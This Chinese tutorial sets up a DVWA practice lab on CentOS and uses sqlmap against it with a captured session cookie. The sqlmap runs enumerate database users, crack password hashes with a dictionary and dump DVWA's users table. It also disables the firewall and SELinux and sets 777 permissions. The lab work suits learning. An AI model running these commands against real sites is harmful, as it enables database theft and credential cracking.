• CentOS 下 使用sqlmap检测sql注入漏洞


    原文链接:https://blog.csdn.net/weixin_41843699/article/details/99976743

    环境

    系统: CentOS 7

    机器一:192.168.200.190  SQLmap

    机器二:192.168.200.188  DVWA渗透测试演示系统

    概念

    1、sql注入概述

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。
    比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。例:12306.cn和csdn等网站帐号和密码的泄露,都有可能是sql注入导致的。

    2、什么是sqlmap?

    SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
    官方网站下载http://sqlmap.org/

    一、安装配置

    1. SQLmap 安装(机器一)

    1)安装 python 环境

    # yum -y install python
    
    # python -V
    Python 2.7.5
    

    2)安装 sqlmap

    # tar -xzvf sqlmapproject-sqlmap-1.5.3-6-g1e8bf1c.tar.gz
    # mv sqlmapproject-sqlmap-1e8bf1c sqlmap
    # cd sqlmap
    # ./sqlmap.py
    

    3)创建 sqlmap 命令

    # ln -s /mnt/software/sqlmap/sqlmap.py /usr/bin/sqlmap
    # sqlmap -h
    

    2. DVWA演示系统安装  

    1)关闭防火墙 及 selinux

    # 不关闭,php文件通过httpd服务无法打开
    # systemctl disable firewalld
    # systemctl stop firewalld
    # firewall-cmd --state
    not running
    # reboot
    
    # vim /etc/selinux/config
    #     disabled - No SELinux policy is loaded.
    SELINUX=disabled
    # SELINUXTYPE= can take one of three two values:

    2)部署 LAMP环境

    # 配置mirror
    # wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
    # yum clean all
    # yum makecache
    # yum list
    
    # 安装服务
    yum -y install httpd php php-mysql php-gd mariadb-server mariadb
    
    # 启动服务
    # systemctl start httpd
    # systemctl start mariadb
    
    # 设置开机启动
    # systemctl enable httpd
    # systemctl enable mariadb
    
    # 查看服务
    # ps -ef | grep httpd
    # ps -ef | grep mariadb
    
    #查看端口
    # netstat -antup | grep 80
    # netstat -antup | grep 3306
    

    3)测试 LAMP 环境搭建

    # vim /var/www/html/test.php
    <?php phpinfo(); ?>
    访问测试

    浏览器访问:http://192.168.200.188/test.php

    4)配置 mysql 数据库

    # mysqladmin -uroot password “123456”     #配置密码为123456
    # mysql -uroot -p123456                   #登录数据库
    
    MariaDB[(none)]> quit
    

    5)配置DVWA

    下载 dvwa,链接:https://github.com/digininja/DVWA

    #安装unzip
    # yum -y install unzip
     
    #配置DVWA
    # unzip -d /var/www/html/ DVWA-master.zip
    # cd /var/www/html/
    # mv DVWA-master/ DVWA
     
    # cd /var/www/html/DVWA/config/
    # cp config.inc.php.dist config.inc.php
    # vim config.inc.php
    $_DVWA = array();
    $_DVWA[ 'db_server' ]   = '127.0.0.1';
    $_DVWA[ 'db_database' ] = 'dvwa';
    $_DVWA[ 'db_user' ]     = 'root';
    $_DVWA[ 'db_password' ] = '123456';
    $_DVWA[ 'db_port'] = '3306';

    6)部署 DVWA 网站系统

    浏览器:http://192.168.200.188/DVWA/setup.php

    修改

    # vim /etc/php.ini
    改:815 allow_url_include = Off
    为:    allow_url_include = On
    # systemctl restart httpd
    vim /var/www/html/DVWA/config/config.inc.php
    改:
    26 $_DVWA[ ‘recaptcha_public_key’ ] = ‘’;
    27 $_DVWA[ ‘recaptcha_private_key’ ] = ‘’;
    为:
    $_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;
    $_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

    修改完成后,刷新页面。

    7)配置权限

    # cd  /var/www/html/DVWA/hackable
    # chmod 777 uploads
    
    # cd /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp
    # chmod 777 phpids_log.txt
    
    # cd /var/www/html/DVWA
    # chmod 777 config

    修改完成后,刷新页面,看到 Writable的三个都是 Yes

     再点击最下面的 "Create / Reset Database",会自动跳转到 http://192.168.200.188/DVWA/login.php

    8)DVWA 默认密码

     二、sqlmap 进行 sql 注入,并获取后台管理员的账号和密码

    SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
    查看 sqlmap.py 帮助选项:
     sqlmap常用参数:

    -u :           指定目标URL,sql注入点
    --cookie : 当前会话的cookie值
    -b :           获取数据库类型 检索数据库管理系统的标识
    ( DBMS:Database Management System 数据库管理系统)
    --current-db :     获取当前数据库
    --current-user : 获取当前登录数据库使用的用户

    1、枚举登录mysql数据库的用户名和密码

    使用sqlmap之前需要得到当前会话的cookie等信息,用来在渗透过程中维持连接状态
    cookie使用其复数形式成为cookies,指某些网站为了识别用户的身份,进行session跟踪,而存储在用户本地终端上的数据,这些数据通常都是加密的。
    只要是登录过网站,就会在本地产生cookie,主要用于身份识别,进行session跟踪。
    1)获取 cookie

    使用 chrome浏览器,按 F12

    2)将 DVWA 安全等级设置为 low

     3)进入“SQL Injection”,输入数值,如 22,然后提交

     4)获取当前的 cookie 值,在Headers 里面,找到 “Request URL”及“Cookie”值

     5)获取数据库的用户名和当前正在使用的数据库名称

    # 安装sqlmap 的机器一上
    # sqlmap -u "http://192.168.200.188/DVWA/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=ge2nrjb08qgjbjn0eufh5i3fp5" -b --current-db --current-user

    回车后中间会有几个选项,每项含义如下

    it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] # 输入Y

    for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] # 输入n

    GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] # 输入n

    2、使用命令枚举所有登录mysql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码

    常用参数:

    --string : 当查询可用时用来匹配页面中的字符串
    --users : 枚举DBMS用户
    --password : 枚举DBMS用户密码hash

    # 安装sqlmap 的机器一上
    # sqlmap -u "http://192.168.200.188/DVWA/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=ge2nrjb08qgjbjn0eufh5i3fp5" --string="Surname" --users --password
    

     选项:

    do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #输入 y

    do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]  #输入Y

    what dictionary do you want to use? 
    [1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
    [2] custom dictionary file
    [3] file with list of dictionary files 
    #直接回车,使用默认字典
    do you want to use common password suffixes? (slow!) [y/N]  #输入y

    3、枚举DVWA库中的表

    常用参数
    -D :     要枚举的DBMS数据库
    --tables :  枚举DBMS数据库中的数据表

    # 安装 sqlmap 的机器上运行
    # sqlmap -u "http://192.168.200.188/DVWA/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=ge2nrjb08qgjbjn0eufh5i3fp5" -D dvwa --tables
    

    4、获取dvwa库中users表的所有列名字

    常用参数
    -T : 要枚举的DBMS数据库表
    --columns : 枚举DBMS数据库表中的所有列

    # 安装 sqlmap 的机器上运行
    # sqlmap -u "http://192.168.200.188/DVWA/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=ge2nrjb08qgjbjn0eufh5i3fp5" -D dvwa -T users --columns
    

    5、拖库,获取dvwa库中users表的所有列的名字

    拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
    常用参数:
    -T :   要枚举的DBMS数据表
    -C:   要枚举的DBMS数据表中的列
    --dump :   转储DBMS数据表项

    #安装 sqlmap 的机器一上运行
    # sqlmap -u "http://192.168.200.188/DVWA/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=ge2nrjb08qgjbjn0eufh5i3fp5" -D dvwa -T users -C user,password --dump  

    选项:

    do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #输入y

    do you want to crack them via a dictionary-based attack? [Y/n/q] #输入Y

    what dictionary do you want to use? #
    [1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
    [2] custom dictionary file 
    [3] file with list of dictionary files 
    #直接回车,使用默认字典
    do you want to use common password suffixes? (slow!) [y/N] #输入y

     查看导出的数据:

    # cat /root/.local/share/sqlmap/output/192.168.200.188/dump/dvwa/users.csv 

      

      



      

      

      

      

      

      

      

  • 相关阅读:
    python读取csv数据(添加列名,指定分隔方式)
    loc_survived
    数据预处理
    hadoop 指令
    pd.concat
    DataFrame
    SQL左连接
    mysql mysql之把查询的结果保存到新表(小知识点)
    啦啦啦啦 mysql 授权
    ArrayList和LinkedList的区别以及优缺点
  • 原文地址:https://www.cnblogs.com/bruce-he/p/14512850.html
Copyright © 2020-2023  润新知